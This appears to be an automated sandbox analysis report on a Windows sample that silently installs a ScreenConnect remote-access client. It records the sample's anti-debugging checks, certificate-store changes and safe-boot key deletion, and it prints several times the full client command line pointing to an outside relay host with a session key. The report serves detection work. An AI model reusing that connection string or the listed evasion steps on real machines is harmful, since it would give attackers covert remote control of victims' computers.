Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Code function: 0_2_00911000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree, 0_2_00911000
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Code function: 0_2_00913677 mov eax, dword ptr fs:[00000030h] 0_2_00913677
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Code function: 0_2_00916893 GetProcessHeap, 0_2_00916893
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Process token adjusted: Debug
Launches processes in debugging mode, may be used to hinder debugging
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" Jump to behavior
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Code function: 0_2_00911493 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_00911493
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Code function: 0_2_0091191F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_0091191F
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Code function: 0_2_00914573 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00914573
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Code function: 0_2_00911AAC SetUnhandledExceptionFilter, 0_2_00911AAC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.VirtualAlloc(attemptImageBase, dwSize, WindowsNative.MEM.MEM_COMMIT | WindowsNative.MEM.MEM_RESERVE, WindowsNative.PAGE.PAGE_READWRITE)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.LoadLibrary(loadedImageBase + ptr[i].Name)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.GetProcAddress(intPtr, ptr5)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.VirtualProtect(loadedImageBase + sectionHeaders[i].VirtualAddress, (IntPtr)num, flNewProtect, &pAGE)
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs Reference to suspicious API methods: HandleMinder.CreateWithFunc(WindowsNative.OpenProcess(processAccess, bInheritHandle: false, processID), WindowsNative.CloseHandle)
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 7648 -ip 7648 Jump to behavior
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7648 -s 748 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=kjh231a.zapto.org&p=8041&s=ae095c23-8e22-4747-b9a0-c8c8b34ba57d&k=BgIAAACkAABSU0ExAAgAAAEAAQAFiJkYSsHWAiMLqCRmzzktgQckyG3TGgm6yPTLawNtNX6q1gr57JH4PrLfClMTmwPp16%2ftpUu72MJPhrP9Fe%2fDAOLI7IxssEnqHo0cK7GF8605xW1%2b29YYv7Gp%2f%2bRVnS8EXpyfNuusFYa%2bCoXawQboJM2Gi1VXFl4XcMGGJmYswsgo9qU%2fBqW3jX3LRGSRskHQDuJYQ8zNUvX1ZvvvtewO8gfRa7Z6WeC1pOnkHykQZ7ux8aNy9iCaTKjcx7FnTu1T7GRag6eNtt4weTuPK2uLu2HYzL%2fVKjjkmkP1xXy2lhSPvloy810giaMzeQQElR11NNJ7O%2bcRI%2b4xi9%2bIANXb&r=%2f&i=Untitled%20Session" "1" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\q3jdg51v.apm\a1ebh2z2.xz4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\screenconnect.clientservice.exe" "?e=support&y=guest&h=kjh231a.zapto.org&p=8041&s=ae095c23-8e22-4747-b9a0-c8c8b34ba57d&k=bgiaaackaabsu0exaagaaaeaaqafijkysshwaimlqcrmzzktgqckyg3tggm6yptlawntnx6q1gr57jh4prlfclmtmwpp16%2ftpuu72mjphrp9fe%2fdaoli7ixssenqho0ck7gf8605xw1%2b29yyv7gp%2f%2brvns8expyfnuusfya%2bcoxawqbojm2gi1vxfl4xcmggjmyswsgo9qu%2fbqw3jx3lrgsrskhqdujyq8znuvx1zvvvtewo8gfra7z6wec1ponkhykqz7ux8any9icatkjcx7fntu1t7grag6entt4wetupk2ulu2hyzl%2fvkjjkmkp1xxy2lhspvloy810giamzeqqelr11nnj7o%2bcri%2b4xi9%2bianxb&r=%2f&i=untitled%20session" "1"
Source: unknown Process created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\q3jdg51v.apm\a1ebh2z2.xz4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\screenconnect.clientservice.exe" "?e=support&y=guest&h=kjh231a.zapto.org&p=8041&s=ae095c23-8e22-4747-b9a0-c8c8b34ba57d&k=bgiaaackaabsu0exaagaaaeaaqafijkysshwaimlqcrmzzktgqckyg3tggm6yptlawntnx6q1gr57jh4prlfclmtmwpp16%2ftpuu72mjphrp9fe%2fdaoli7ixssenqho0ck7gf8605xw1%2b29yyv7gp%2f%2brvns8expyfnuusfya%2bcoxawqbojm2gi1vxfl4xcmggjmyswsgo9qu%2fbqw3jx3lrgsrskhqdujyq8znuvx1zvvvtewo8gfra7z6wec1ponkhykqz7ux8any9icatkjcx7fntu1t7grag6entt4wetupk2ulu2hyzl%2fvkjjkmkp1xxy2lhspvloy810giamzeqqelr11nnj7o%2bcri%2b4xi9%2bianxb&r=%2f&i=untitled%20session" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\q3jdg51v.apm\a1ebh2z2.xz4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\screenconnect.clientservice.exe" "?e=support&y=guest&h=kjh231a.zapto.org&p=8041&s=ae095c23-8e22-4747-b9a0-c8c8b34ba57d&k=bgiaaackaabsu0exaagaaaeaaqafijkysshwaimlqcrmzzktgqckyg3tggm6yptlawntnx6q1gr57jh4prlfclmtmwpp16%2ftpuu72mjphrp9fe%2fdaoli7ixssenqho0ck7gf8605xw1%2b29yyv7gp%2f%2brvns8expyfnuusfya%2bcoxawqbojm2gi1vxfl4xcmggjmyswsgo9qu%2fbqw3jx3lrgsrskhqdujyq8znuvx1zvvvtewo8gfra7z6wec1ponkhykqz7ux8any9icatkjcx7fntu1t7grag6entt4wetupk2ulu2hyzl%2fvkjjkmkp1xxy2lhspvloy810giamzeqqelr11nnj7o%2bcri%2b4xi9%2bianxb&r=%2f&i=untitled%20session" "1" Jump to behavior
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000000.1741616097.0000000000F72000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr Binary or memory string: Progman
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000000.1741616097.0000000000F72000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr Binary or memory string: Shell_TrayWnd-Shell_SecondaryTrayWnd%MsgrIMEWindowClass
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Code function: 0_2_00911BD4 cpuid 0_2_00911BD4
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.ClientService.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.WindowsBackstageShell.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.WindowsFileManager.exe.config VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.WindowsClient.exe.config VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.WindowsBackstageShell.exe.config VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.WindowsFileManager.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.Client.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.Client.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Code function: 0_2_00911806 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 0_2_00911806
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Deletes keys which are related to windows safe boot (disables safe mode boot)
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Registry key or value deleted: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Network\ScreenConnect Client (ae095c23-8e22-4747-b9a0-c8c8b34ba57d)
AV process strings found (often used to terminate AV products)
Source: Amcache.hve.6.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr Binary or memory string: MsMpEng.exe
Adds / modifies Windows certificates
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob Jump to behavior
Yara detected ScreenConnect Tool
Source: Yara match File source: 10.0.ScreenConnect.WindowsClient.exe.f70000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000000.1741616097.0000000000F72000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
